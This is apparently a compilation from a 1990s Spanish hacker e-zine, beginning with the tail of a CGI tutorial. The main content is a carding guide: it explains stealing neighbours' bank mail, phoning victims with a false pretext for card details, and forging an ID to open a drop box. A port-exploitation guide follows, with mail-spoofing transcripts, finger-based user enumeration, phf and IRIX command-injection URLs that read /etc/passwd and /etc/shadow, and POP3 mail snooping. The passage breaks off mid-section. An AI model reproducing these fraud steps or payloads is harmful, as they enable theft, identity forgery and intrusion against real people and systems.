preferencias program ticas han ido cambiando a lo largo del tiempo.
Estos cambios tienen su fundamento; Perl es portable, es f cil de usar y de
aprender, es freeware y adem s es interpretado de manera que el ciclo edici¢n/
testeo se hace mucho m s corto.
Escribir este tutorial fu‚ una tarea bastante grata, aprend¡ much¡simo tratan
do de explicar algunos conceptos,y como siempre para hacer de esta una tarea
completa espero sus comentarios (de los buenos y de los otros ;), en mi email:
dquir@indec.mecon.ar ,los cuales ser n de gran ayuda en mis proyectos futuros.

Suerte y buenos scripts!
(frase afanada de alg£n lado)
Sebass.


Pr¢ximos Desarrollos.
El protocolo HTTP y HTTP-NG.
Meta Tags y su uso ( y abuso).
CGI scripts en otros lenguajes (Visual Basic por ejemplo)
HTML/CGI como front/end de nuestros programas.
Introduccion a Java y JavaScript.
Introduccion a Perl y aplicaciones CGI.

PD: Parece que no puedo dejar de escribir, no quer¡a dejar de comentar que las
versiones HTML y Word del tutorial estar n disponibles en breve.


--
APENDICE: Librer¡as para la Programaci¢n de scripts CGI.

Estos son los URL de las librer¡as utilizadas en los ejemplos de este documento.

Librer¡a C ÄÄÄÄ> UnCGI ÄÄÄÄ> http://www.hyperion.com/~koreth/uncgi.html
Librer¡a Pascal ÄÄÄÄ> TPWCGI ÄÄÄÄ> http://141.2.61.48/tpwcgi/tpwcgi.htm
Librer¡a Perl ÄÄÄÄ> CGI-LIB.PL ÄÄÄÄ> http://www.bio.cam.ac.uk/cgi-lin/1.14/cgi-lib.pl.txt


Sites con informaci¢n acerca de CGI.
Estos sites contienen mucha de la informaci¢n que fu‚ utilizada para crear
este documento y son realmente muy interesantes.

http://shani.net:80/~tls/guide/index.html
http://www.stars.com/Vlib/Providers/CGI.html
http://super.sonic.net/ann/delphi/cgicomp/detail.html
http://www.city.net/win-httpd/httpddoc/wincgi.htm
http://www.aspectse.com/Product/dbWeb/dbWeb.html
http://128.172.69.106:8080/cgi-bin/cgis.html
http://users.aol.com/thingtone/workshop/index.htm



Vocabulario - Siglas.

URL: Universal Resource Locator
Una nomenclatura que describe en forma compacta la ubicaci¢n de cada
recurso en la Internet y el protocolo utilizado para acceder al mismo.

MIME: Multipurpose Internet Mail Extensions
Una nomenclatura que permite identificar correctamente el tipo de
datos que se esta enviando a trav‚s de una conexi¢n.

HTML: HyperText Markup Languaje
Un lenguaje para el "
armado" de documentos de hypertexto incluyendo
"
links" y algunas otras carater¡sticas adicionales.

CGI: Common Gateway Interface
Un mecanismo que permite a los browser de Web ejecutar programas en el
server Web y recibir la "
salida" de estos programas.

HTTP: HyperText Transport Protocol
Un protocolo para la transferencia de documentos de hypertexto y otro
tipo de archivos.

VRML:Virtual Reality Modeling Languaje
Un lenguaje que mediante "
modelos" permite generar visiones 3D de un
universo con "
links" y otras caracter¡sticas adicionales.



Bibliograf¡a.

An exploration of Dynamic Documents - Netscape Corporation.
Very Limited Guide to HTML - Kevin Werbach.
CGI tutor - Bex Lanner.
HTML-based Interfaces - Nik Swoboda.
CGI Tutorial - Agora.
An guide to HTML and CGI scripts - Mike Smith.
Mosaic User Authentication Tutorial - NCSA.
Web Page Password Protecion - CNC.


FIN DEL TUTORIAL
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ 01/05/96
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ³Sebasti n Quiroga.
ºEste documento puede ser reproducido en su º ³
ºtotalidad o en parte siempre que se conserveº ³Email:
ºesta postdata o bien se haga clara menci¢n º ³ dquir@indec.mecon.ar
ºde la fuente. º ³ diego@comunicaciones.mecon.ar
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³Versi¢n: 1.00³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO
Aqui tienes algo de carding, aunque no te recomiendo que lo pongas en
practica si no quieres acabar en la carcel ...
oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO

4 - CARDING
~~~~~~~~~~~
CARDING - CARDING - CARDING - CARDING - CARDING
++++++++++++++++++++++++++++++++++++++++++++++++
by SlimeLORD
eclipse GROUP
Que mejor que poder acceder a cualquier sitio,
o por ejemplo, no se te ha ocurrido nunca?
El poder comprar GRATIS por Internet, para ello,
debes conseguir lo siguiente:

* Una carta del banco, de cualquier persona (que sea extracto de cuenta)

* O bien un resguardo de esos que tiran al lado de los
cajeros automaticos.

* Un generador de numeros de tarjetas de credito

* Un poco de perspicacia

* Un apartado postal creado a partir de un carnet falso



PRIMERO.
++++++++


Bien, ¨no sabes como conseguir cartas del banco? No vives en un piso?
Umm nunca has mirado los buzones de tus vecinos?
Pues ya es HORA! Busca bien sobre todo cartas de bancos, ARGENTARIA,
BBV, CENTRAL-HISPANO, RURAL...

Bien, una vez tengas uno, suelen salir los extractos sobre finales
de mes, ya sea el 22, 23, 24, de ese mes, tenlo en CUENTA, y sobre
todo cuando lo deja el cartero, luego APROVECHA que no te pille nadie
y SAQUEA el correo .
ADVERTENCIA: Robar el CORREO ES DELITO!

Bien, ahora si la carta es correcta, obtendras los datos de tu vecino
y mira el saldo que le queda: Guau! una peque¤a fortuna, a que si?
jeje,
Debes obtener los siguientes datos:

PROPIETARIO/A DE LA CUENTA,
ENTIDAD ( 4 cifras)
OFICINA ( 4 cifras)
D.C ( 2 cifras)
CUENTA (10 cifras)

En total un numerito de 20 cifras, ok?

Bueno, pues AHI tienes la cuenta, pero SORPRESA de su extracto he
conseguido su numero de tarjeta de credito, UFF!!
CHAVAL espera!!!!!!!!

SEGUNDO.
++++++++

suelen tener este aspecto los extractos de tarjetas de credito:

F.OPER. CONCEPTO F.VALOR CARGOS ABONOS

14-01 SALDO ANTERIOR 210.000
14-01 CUOTA TARJETA 9-01
TARJETA XXXX XXXX XXXX XXXX 13-01 750.000
14-01 OPERATORIA EN CAJEROS SERVIRED
XXXX XXXX XXXX XXXX YYYY YYYY YYY 19-01
19-01 RETIRADA EFECTIVO CAJERO BBV
XXXX XXXX XXXX XXXX YYYY YYYY YYY 22-01


Gueno, pos la tarjeta la teneis dada, ahora solo queda
chequearla en vuestro CHEQUEADOR DE TARJETAS DE CREDITO, valen
la THC-CARD, CCARD CREATOR... y demas. A partir de esa puedes
generar tarjetas aleatorias, jeje te serviran para siguientes actos!

Si es asi, BIEN, puedes usar la tarjeta para hacer compras por
INTERNET, pero..ummm, COMO CO¥O? ( umm, come lo que quieras..) X'DDD


SEGUNDO.b
+++++++++

Este articulo tenia 4 pasos pero la creciente demanda de direcciones
y paginas WEB que hacen seguras sus transacciones a traves de servidores
chequeadores de tarjetas, me he tenido obligado a retocar el articulo
(version beta 0.1.2) xDDDDDDDD Bueno, todos habreis usado cualquiera
de los miles de generadores de tarjetas que hay disponibles no?
Bien pero ERROR, ya no se las traga, :( Bueno hay OTRA solucion,
O bien creo hay una pagina HACK donde instantaneamente al ponerle
un numero de VISA p.ej te genera la fecha de caducidad y se la traga
la WEB9000 (si saben la dire avisenme)... O bien se puede hacer
el viejho trukhoh! del almendrukhoh (esto es con asento americanou)...xDDD

Al pillar la carta de tu vecino/a pues sabes la direccion de donde
es ella, y si pillaste su numero de tarjeta puedes usar tu ingenieria
social, para a) conseguir su numero de telefono, como?
llamala por el porterillo y dile que eres de la revision del gas, p.ej
y que si es ella la se;ora tal ... que si me podria dar su numero de
telefono, mas facil es llamar al 003 y que te digan su numero....
Bien empapate de los datos suyos bancarios y hazle una llamada sobre
las 11.00 de la ma;ana, ponle voz de convencido sino no funciona...
Y dile, TU: "
muy buenos dias, mire le llamo desde el banco XXXXX
y resulta que estoy comprobando unos datos.... Vd es la se;ora XXXXX
no? Tiene ahi su numero de tarjeta VISA???"
a esperar un momentito... no te rias....
Bien, el titular es XXXXX (dato que ya tenias...) y el numero es XXXXX
y se lo sueltas, "
te respondera que si, ahora dile que la fecha
de caducidad se la han cambiado, y preguntale que cual era la
que tenia IMPRESA.... Y et BoILA! Ya tienes numerito y hasta con
fecha de caducidad....
Dile que gracias por corregir los datos y buenos dias...."
OK, ahora grita de contento!!!!
GASTATE TODO EL DINERAL DE TU VECINO!!!!!!!!!!!
jajajaja.
(ej. en bonos de internet de telefono, net2phone.... playboys...
teletienda... ui madre miaaaaaaaaaaa ....)


TERCERO
++++++++


Bien, habras visto muchas cosas para comprar por INTERNET, teletienda,
internet-shop, y demas...
Busca tan siquiera en el OLE, tiendas, o teletiendas...
Veras como salen a porrillo... Sobre todo que sean ESPA¥OLAS, o las
de la tele mismamente, esos 903 o 906 YO KE SE!
Bien, tienes una localizada, no?
OK, vamos a comprar.
HAY QUE SABER COMPRAR.
Por ejemplo, que comprariais?
Una butifarra? Un champu antipiojos?
:?¨ NO HOMBRE KE MAL GUSTO TIENES!
Una consola? Un componente nuevo para tu PC?
Ok eso siempre!!! FALE! Ahora te pediran los datos y OJOR!!!!
JARLH!! te pide la direccion donde mandarlo, umm! esto tiene truco
NUNCA DEIS NINGUN DATO VUESTRO REAL!! OK?
FALE, para recibir el "
regalito" create un APARTADO POSTAL ANONIMO.
Umm , como? Vale, hazte un escaneo de tu DNI, le cambias la foto un
poquito, date cuenta que bien puede ser la de un colega tuyo de 14 tacos.
X'DDDDDDDD
OJO: ADVERTECIA: POSEER UN DNI FALSO ES DELITO PENADO POR LEY!
RECOMENDADO HACERTE CON UN DNI DE LOS ANTIGUOS; ESOS NO TIENEN
RELIEVE EN EL DNI, Y DA MAS EL PEGO...( cambiale la caducidad! )
Que se parezca vagamente a ti, OK, luego se la pegas en la que
has imprimido, te sugiero la hagas con una impresora a COLOR, tipo
EPSON 800 o similar, a 600 ppp, or better a 1400! Bien, ahora
la llevas a cualquier fotocopiadora y que te la plastifiquen. OKIZ?
Hazlo lo mejor posible, aunque seas un MANOTAS seguro lo consigues.

OK! Bien, ahora sacale una fotocopia que es lo que te pediran en
CORREOS para sacartelo... pagan las 3000 pelas, et voila!
Apartadillo para ti solo!

Ahora ya puedes pedir que te manden el regalito a ese apartadillo
postal a nombre del DNI falso que tas currao!

Bien, no abuses de este metodo, pues AVISO: si es una ciudad grande
tipo MADRID , BARCELONA, no deberiais tener problemas, pero si es
un pueblecito, mejor NO hacerlo, pues OS CONOCEN!
Bien, una vez lo hayas pedido, date cuenta que tardara sobre unos
4-5 dias, segun la rapidez del transporte, BIEN!, vete bien temprano
el dia que creas que ha llegado y saca tu paquete, si te dejan una
nota diciendo que vayas a otro sitio a recojerlo, umm, suena RARO,
mejor no vayas! Tambien , mejor hecha un vistacillo alrededor
a ver si ves algo raro, gente esperando, mirando a las enrtadas,
umm, esto es muy importante, ya que pueden ser de la secreta...

Vale, pide cositas importantes, pero a la vez peque¤as,
como por ejemplo tarjetas graficas 3D, consolas, grabadoras...
cosas peque¤as y de valor... discos duros...
Bien,
Otro consejito:

No uses el apartado para lo mismo tres o 4 veces, te podrian cazar,
y recuerda, ves a recojer tu paquete o BIEN cuando creas que ha
o debe de llegar, o bien pasate al mes siguiente, seguro que nadie
se da cuenta, y ES LO MAS SEGURO. RECOMENDADO!

Umm, si le pagas 500 pelas a un chavalillo, hasta el mismo te lo
puede traer, pero citalo en un sitio donde NO haya nadie, y observalo
de lejos no vaya a ser que lleve compa¤ia, me pillas?
JHumm!


CUARTO.
+++++++

Bien, eres UNIVERSITARIO? JORL! bien , bien , bien, amos a haserlo
mas fasil, los estudiantes universitarios suelen / solemos ( X'DD)
vivir en pisos de alquiler, USA esto para recojer tus paquetes,
los compa¤eros que te busques deben ser esporadicos, osea que
un mes aqui, otro alla, y con nombre falso, dni falso, umm direccion
falsa... Uff, cuanto mas falso tengas mejor..
Bene , bene! Pidelo a esa direccion, e intenta que te lo envien a
finales de mes, asi podras largarte a fin de mes, sin dejar sospechas.

O si te pillan en el piso y tienes confianzas con tus colegas diles
que llegaban cosas a esta direccion sin mas y que tu no tienes nada
que ver, pero como llegaban gratis pues nos lo quedamos...

Puedes pedir, segun te vayas experimentando en el tema mas cosas,
segun sea, pero CAREFUL, se cuidadoso, y otra cosa importante,
te puede servir para conseguir cartas de tus vecinos nuevos...
Ya sabes, lo tienes a guevo!

SALUTOS!
BYEZ SlimeLORD
eclipse GROUP
slimelord@usa.net

pqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpq
Dado que hay muchos articulos sobre Unix y sobre que hacer una vez dentro de
un sistema, he escrito este que puede ayudarte a hacer lo mas importante,
entrar ....
pqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpq

5 - COMO APROVECHAR LOS PUERTOS DE UN SISTEMA
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

OoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO
o o
O CoMo aPRoVeCHaR LoS PueRToS De uN SiSTeMa O
o o
O GuyBrush O
o o
OoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO


A.-INTRODUCCION
~~~~~~~~~~~~

Como todos sabeis, uno de los primeros pasos (por no decir el primero) a
la hora de buscar informacion sobre un sistema es hacer un escaneo de
puertos. Pero una vez hecho este, que aprovechamos realmente? mucha gente
solamente se fija en el puerto 23 (telnet) y si ve este cerrado ya lo toma
por imposible.

Con este texto quiero mostrar la gran utilidad de otros puertos tambien
importantes, bien para recopilar informacion, bien para hackear (aunque
no se disponga de acceso a la cuenta shell).

(El que no sepa que es esto de escanear puertos mejor que se lea antes
los numeros atrasados de RareGaZz).



B.-LISTADO DE LOS

  
PUERTOS MAS IMPORTANTES
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Aunque ya han aparecido listados de puertos en otros numeros de este zine,
quiero volver a escribirlos para una mayor comodidad del lector; y asi,
poder tenerlos mas a mano.

Puerto Servicio Utilidad - [ o inutilidad :) ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
7 echo Lo que teclees se volvera a escribir
9 discard dev/null - basura
11 systat Informacion sobre los usuarios
13 Hora y fecha en el host remoto
15 netstat Informacion sobre la red
19 chargen Muchos caracteres ASCII. ^C para detenerlo
21 ftp Transferencia de ficheros
23 telnet Acceso al shell
25 smtp Correo saliente
37 time Hora en el host remoto
39 rlp Localizacion del recurso
43 whois Informacion sobre la red y el host
53 domain Nombre del servidor
70 gopher Buscador de informacion (ya anticuado)
79 finger Informacion sobre los usuarios
80 www Servidor de Web
109 pop2 Correo entrante
110 pop3 Correo entrante
119 nntp Grupos de noticias (news)
443 shttp Otro servidor de Web
512 biff Notificacion de correo
513 rlogin Login remoto
514 shell Comando remoto
515 spooler
520 route Protocolo de informacion routing
8000 http
8080 proxy



C.-ANALIZANDO ALGUNOS PUERTOS A FONDO
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vamos a analizar la manera de sacar el mayor provecho a esos servicios
que encontramos disponibles cuando hacemos un escaneado de puertos.


"""""""""""""""""""""""
" PUERTO 15 (NETSTAT) "
" "
"""""""""""""""""""""""
- Utilidad
=-=-=-=-

Nos muestra una gran informacion sobre el sistema. Este puerto esta
destinado a hacer estadisticas sobre la red.

- Formas de explotarlo
=-=-=-=-=-=-=-=-=-=-

* Estilo newbie
-------------
Solo tienes que escribir 'netstat <parametros>'. De todos modos, aqui
te pongo una peque¤a ayuda para que veas lo que se puede conseguir:

Parametros soportables:

? Ayuda de uso (algo parecido a esto, pero en
ingles) :)
-a Muestra todas las conexiones en cualquier
puerto
-e Estadisticas de la Ethernet. Esta opcion puede
ser combinada con '-s'
-n Muestra las direcciones y numeros de puerto de
forma numerica
-p protocolo Muestra las conexiones del protocolo 'tcp' o
'udp' especificado
-r Muestra el contenido de la tabla de enrutado
-s Estadisticas de los protocolos. Por defecto
estan el 'TCP', 'UDP' e 'IP', pero se pueden
especificar mas mediante el parametro '-p'
intervalo Muestra el resultado por paginas. Evita que se
te pierda la informacion por el scroll de la
pantalla

* Estilo hacker
-------------
Haz telnet al puerto 15 y preparate para recibir informacion. Lo
mejor es que redirijas la salida a un fichero y luego lo edites y
estudies tranquilamente.


"""""""""""""""""""
" PUERTO 21 (FTP) "
" "
"""""""""""""""""""
- Utilidad
=-=-=-=-

Supongo que todos sabreis que el FTP sirve para acceder a un ordenador
para coger / dejar ficheros. Es similar al acceso por telnet, pero con
muchas mas restricciones, como por ejemplo, no poder ejecutar ficheros.
Pero como tambien sabeis, presenta la ventaja de que en muchos sistemas
hay un usuario 'ftp' o 'anonymous' que te permite acceder libremente
poniendo como password 'guest' o tu nombre de usuario (Mmm mejor guest).

- Formas de explotarlo
=-=-=-=-=-=-=-=-=-=-

* Estilo newbie
-------------
Vamos a ver cuales son las ordenes que se pueden utilizar al hacer un
FTP:

HELP --> Muestra la lista de comandos disponibles. Los que
tienen un * al lado estan deshabilitados.
HELP comando --> Muestra ayuda de uso de ese comando.
USER --> Especificar un nombre de usuario.
PWD --> Especificar un password para el nombre de usuario
introducido anteriormente.
! --> Ejecutar ordenes de nuestro sistema sin salir del FTP.
Si por ejemplo escribimos '!dir *.*' (sin comillas)
veremos el contenido de nuestro disco duro (tener en
cuenta que pongo 'dir' si estoy bajo MS-DOS. Debemos
utilizar las ordenes de 'nuestro' sistema).
ACCOUNT --> Cuenta de usuario.
STORE --> Este comando hace que el servidor acepte los datos
transferidos y que los almacene en un fichero.
SUNIQUE --> Similar a STOR excepto que el fichero creado debe
tener un nombre unico para ese directorio.
APPEND --> Similar a STOR, pero si el fichero ya existe los
datos se almacenaran al final del archivo, sin
sobreescribir el fichero original.
CD --> Cambiar de directorio :)
CDUP --> Ir al directorio raiz ( = CD / ).
MKDIR --> Crear un directorio.
RMDIR --> Borrar un directorio vacio.
DELE / DELETE --> Borra un fichero del servidor.
LS --> Ver el contenido del directorio (igual que en Unix).
CHMOD --> Cambiar permisos de fiheros (igual que en Unix).
PWD --> Indica el directorio actual (igual que en Unix).
LCD --> Cambia el directorio local de trabajo.
QUIT / BYE --> Terminar la conexion.
TYPE modo --> Especifica el tipo de representacion de los
datos. El paremetro 'n' puede ser:
- ascii
- binary
- image
- ebcdic
- tenex
(Los parametros dependen del sistema).
PROMPT --> Activar /desactivar el modo interactivo. Nos
sirve para poder subir / bajar muchos ficheros
sin que nos pida conformacion cada vez.
GET --> Bajar un fichero.
PUT --> Subir un fichero.
MGET --> Similar a GET pero baja multiples ficheros (por
ejemplo: 'MGET /etc/passwd').
MPUT --> Similar a PUT pero sube multiples ficheros.
VERBOSE --> Activa / desactiva el modo verbose. Nos da mas
informacion sobre los comandos que ejecutamos.
MODE --> Especificar el modo de transferencia de datos. Los
modos posibles son:
S - Stream
B - Block
C - Compressed
RESTART --> Le indica al servidor el indicador de lugar en el
cual la transferencia de un fichero debe ser
continuada. Debe ir seguido de un comando apropiado
para que la transferencia continue.
RENAME --> Indica el nombre del fichero a renombrar.
BELL --> Suena el altavoz cada vez que acaba la ejecucion de
un comando.
SITE --> Este comando es usado por el servidor para proveer
servicios especificos al sistema que son esenciales,
pero no suficientemente universales para ser incluidos
como comandos en el estandar del protocolo.
SYSTEM --> Nos da informacion sobre el sistema operativo al
que estamos conectados.
STATUS --> Nos da informacion sobre el status del sistema.

Existen muchos mas comandos (dependiendo del sistema) pero estos son
los mas importantes (espero no haberme dejado ninguno).

* Estilo hacker
-------------
La forma de acceder es distinta, pero vamos a llegar al mismo sitio.
Podemos hacer telnet al puerto 21 y movernos por el sistema de forma
identica, con los comandos descritos anteriormente.


""""""""""""""""""""
" PUERTO 25 (SMTP) "
" "
""""""""""""""""""""
- Utilidad
=-=-=-=-

Podemos aprovecharlo de distintas formas, bien para enviar correo de
forma anonima, o si la version de 'sendmail' utilizada tiene bugs,
hasta puede que consigamos modificar el .rhosts de algun usuario (como
el root, por ejemplo) o conseguir el shadow del sistema.

- Formas de explotarlo
=-=-=-=-=-=-=-=-=-=-

* Estilo newbie
-------------
Solo has de cambiar la configuracion de tu programa de correo. Para
ello debes modificar el nombre del servidor de SMTP y las direcciones
de correo que tenemos en la identificacion de usuario y en el retorno
(reply-to address). Estos son los cambios:

POP3 Server: (no hace falta que lo modifiques)
SMTP Server: algun.servidor.de.smtp.com
POP3 Username: (no hace falta que lo modifiques)

E-mail address: supercoco@hacker.com
Reply-to address: supercoco@hacker.com

Lo que estamos haciendo es enviar correo como si fueramos el usuario
supercoco@hacker.com desde el servidor algun.servidor.de.smtp.com.
Al destinatario le aparecera mas o menos esto:

Return-Path: <supercoco@superplanet.com>
Received: from algun.servidor.de.smtp.com ([208.156.39.193])
by su.servidor.de.smtp.com (Netscape Mail Server v1.1) with
SMTP id AAA13275 for <pardillo@su.servidor.com>; Sun, 1 Feb
1998 17:45:27 +0100

Subject: Esto es un mensaje falso ...
From: supercoco@superplanet.com
Reply-To: supercoco@superplanet.com
To: pardillo@su.servidor.com

Y aqui va el mensaje ...

Si te fijas en lo de abajo (a partir del subject), veras que le hemos
enviado un mensaje con un remitente que no somos nosotros. Pero si
miras mas arriba podras observar que aparece nuestra direccion IP.
Ohhh ... nos pillaron. Esto es debido a que el servidor que hemos
usado para enviar el correo (en este caso: algun.servidor.de.smtp.es)
refleja la IP de todo aquel que envia a traves de el. Para solucionar
esto debemos encontrar uno que no refleje la IP). Si miras en numeros
anteriores de este zine podras ver listados de servidores. Pero, si
deseas alguno que no conozca mucha gente, deberas probar 'a huevo'.

Date cuenta de que si escribes mal su direccion de correo nunca te
podras enterar, dado que la direccion de 'reply' es de otra persona,
o inexistente (como en este caso: supercoco@hacker.com ... o puede
que exista X-D ).

* Estilo hacker
-------------
Si entras con telnet deberas utilizar unas determinadas ordenes para
moverte por el sistema. Esto tiene varias ventajas:
1) Cuando conectas te dice la version de sendmail (o cualquier otro
protocolo que utilice). Con lo cual puedes buscar en nuestra
seccion de bugs :D por si esa version tiene alguno (seguro que
si).
2) Una vez conectado puedes escribir HELO (o HELO user) con lo que el
te respondera con un mensaje de bienvenida, mostrandote o no, tu
direccion IP; en caso de que te la muestre ... busca otro (si tu
fin solamente era enviar correo falso - o fake mail).
3) No necesitas reconfigurar tu programa de correo :)

Para poder moverte por el sistema debes usar los siguientes comandos:

HELP --> Mensaje de ayuda (no esta disponible en todos los
sistemas).
HELO hostname --> En algunas versiones esto es necesario para
poder ejecutar el resto de comandos. En
'hostname' puedes poner cualquier cosa.
MAIL FROM: usuario --> 'usuario' es el remitente, el que
quieres falsificar.
RCPT TO usuario --> 'usuario' es el destinatario. A donde vas
a enviar el mail.
VRFY direccion --> Verifica el reparto de mail de una
direccion.
EXPN direccion --> Expone la direccion de una lista de correo.
DATA --> Nos permite escribir el texto a enviar. Acaba con un
punto.
RSET --> Interrumpe la transmision.
NOOP --> No hace nada. Sirve para ver si seguimos conectados
o no.
DEBUG nivel --> Fija el nivel de de debugging.
QUIT --> Terminar. Cerrar la conexion.

Si tu unica intencion es hacer fake mail, puedes usar algun programa
destinado a ello (hay muchisimos); incluso un mailbomber te serviria
(diciendole que solo deseas enviar uno). En estos programas solo has
de especificar:

Servidor de SMTP (muy importante que no refleje tu IP).
Direccion de correo del remitente (la falsa, claro).
Direccion de correo del destinatario (la victima).

Para hacer fake mail desde telnet haz lo siguiente: (lo que esta
seguido de numeros es la respuesta del servidor)

telnet microsoft.com 25
220 microsoft.com Microsoft Sendmail 1.0 ready at Sat, 2-1-98
HELO supercoco
250 <microsoft.com> Hello supercoco
MAIL FROM: aznar@moncloa.es
250 <aznar@moncloa.es> ...Sender OKay
RCTP TO: gonzalez@psoe.es
250 <gonzalez@psoe.es> ...Recipient OKay
DATA
354 Enter mail, end with "." on a line by itself
No no no!!! no me pienso ir se¤or Gonzalez!!!
.
250 Mail accepted
QUIT
221 microsoft.com closing connection.


""""""""""""""""""""""
" PUERTO 79 (FINGER) "
" "
""""""""""""""""""""""
- Utilidad
=-=-=-=-

Conseguir mucha informacion sobre usuarios. Cuando hacemos un finger
podemos obtener algo asi:

login datos personales tipo de shell
----- ---------------- -------------
victima Antonio Botella /bin/bash

last log 23 Feb (o, user never log)

Como ves, podemos llegar a conseguir sus datos personales, tipo de
shell que usa, ultima conexion que hizo, login (y direccion de correo),
... Esto puede servirte, entre otras muchas utilidades, para intentar
adivinar su password (ya que mucha gente usa contrase¤as tan simples
como su login, combinaciones de su nombre y apellidos, ...). O tambien
puedes usar algo de ingenieria social para obtener su contrase¤a, bien
enviandole un mail falso a victima@su.servidor.com 'persuadiendole'
para que te de su password o puedes buscar su nombre en la guia y hacer
una llamada telefonica haciendote pasar por su proveedor de Internet.

- Formas de explotarlo
=-=-=-=-=-=-=-=-=-=-

* Estilo newbie
-------------
Puedes hacer usar la orden finger para solicitar la informacion
deseada:

finger victima@su.servidor.com

En algunos servidores podras hacer:

finger @su.servidor.com (sin especificar el usuario)

Asi te saldran todos los datos de los usuarios que estan conectados
al servidor en ese momento. Tambien puedes escribir:

finger 0@su.servidor.com

Y obtendras ...

Si no conoces el login de ningun usuario puedes probar 'a ciegas' para
obtener alguno. Solo has de ir probando nombres, y si alguno de ellos
es un login o esta en los datos personales de algun usuario, te lo
mostrara. Si por ejemplo escribimos:

finger juan@su.servidor.com

Puede que nos salga:

login datos personales tipo de shell
----- ---------------- -------------
juan J. Antonio Perez /bin/bash

last log 20 Feb

O tambien:

login datos personales tipo de shell
----- ---------------- -------------
jjose Juan Jose Sanchez /bin/csh

last log 2 Feb

Debes de tener muy en cuenta de donde es el servidor, porque si es uno
de Japon, no te servira de nada probar nombres espa¤oles o alemanes.

Los usuarios que suelen estar en todos los sistemas son: root, admin,
postmaster, webmaster, ...

* Estilo hacker
-------------
Para hacer esto por telnet has de especificar el puerto 79, de forma
similar o los casos anteriores. Una vez conectado, escribe el nombre
del usuario, una @, o un 0. Los resultados son los mismos que en la
forma newbie.


"""""""""""""""""""
" PUERTO 80 (WWW) "
" "
"""""""""""""""""""
- Utilidad
=-=-=-=-

Este servicio es el que nos permite ver las paginas Web. Nosotros
podemos aprovecharlo, mas que nada, para conseguir el shadow (mediante
los bugs del 'phf') o tambien para modificar el .rhosts de algun
usuario (consultar seccion de bugs & exploits).


- Formas de explotarlo
=-=-=-=-=-=-=-=-=-=-

* Estilo newbie
-------------
Puedes probar los bugs del 'phf' que aparecen en la seccion de bugs.
Este tipo de bug ya ha sido comentado en numeros anteriores de este
zine, pero lo volvere a escribir:

Para capturar el passwd:
http://www.host.com/cgi-bin/phf?Qalias=%0a/bin/cat%20/etc/passwd

Para capturar el shadow:
http://www.host.com/cgi-bin/phf?Qalias=%0a/bin/cat%20/etc/shadow

Como no se pueden escribir ni espacios ni finales de linea (ENTER),
debemos escribir su codigo ASCII (el '0a' es el ENTER y el '20' es el
espacio, ambos en hexadecimal). Para indicar que es ASCII debemos
escribir antes un '%'. Si usas tu imaginacion podras ejecutar muchos
mas comandos del sistema que te podrian ser utiles para conseguir
mucha informacion.

* Estilo hacker
-------------
Accedes por telnet al puerto 80 y usas alguno de estos 3 comandos:

GET (consigue informacion del cliente al servidor).
PUT (pregunta al servidor si acepta la informacion como
reemplazo del objetivo).
POST (pregunta al servidor si acepta la informacion pasada
del cliente como una especificacion del objetivo).

Si no escribes la orden correctamente, te cerrara la conexion. Como
ves, esta bastante restringido, pero te sirve para explotar algunos
bugs de ese protocolo (HTTP/1.0).

Como ejemplo pondre un conocido (y antiguo) bug que funciona (si no
esta parcheado) en algunos sistemas IRIX:

GET /cgi-bin/handler/fichero_falso;cat /etc/passwd|?data=Download

El cgi-bin/handler permite la lectura y escritura de ficheros, pero
tiene un ligero problemilla que se le paso a sus programadores, y es
que cuando intenta abrir el fichero especificado (en este caso seria
'fichero_falso') y no lo encuentra (se supone que ese archivo no esta
en el sistema), ademas de darnos un mensaje de error, pasa a ejecutar
la seguiente instruccion que se encuentra (en este caso, el 'cat').
De este modo podremos ver el /etc/passwd del sistema. Tambien se
pueden utilizar otros comandos ademas del cat. Usa tu imaginacion.
Pero debes tener en cuenta que el script no admite espacios, por lo
que cada vez que necesites escribir uno, deberas usar el tabulador
(TAB).


"""""""""""""""""""""
" PUERTO 110 (POP3) "
" "
"""""""""""""""""""""
- Utilidad
=-=-=-=-

Leer el correo de algun usuario. Para ello has de tener el login y el
password, logicamente. Es ideal para espiar y recopilar importante
informacion (segun el usuario) sobre ese sistema u otro. O simplemente
para ver sus trapicheos con el intercambio de fotos guarras. ;)

- Formas de explotarlo
=-=-=-=-=-=-=-=-=-=-

* Estilo Newbie
-------------
Solo has de cambiar la configuracion de tu programa de correo. Para
ello debes modificar tu login por el suyo y tu direccion de pop3 por
la suya. Y claro, usa su password. Debes realizarlos siguientes
cambios:

POP3 Server: mail.serverhackeado.com
SMTP Server: (no hace falta que lo modifiques)
POP3 Username: pardillo

Y cuando te lo pida, introduces el password del usuario en cuestion.
No olvides, antes de nada, configurar tu programa de correo para que
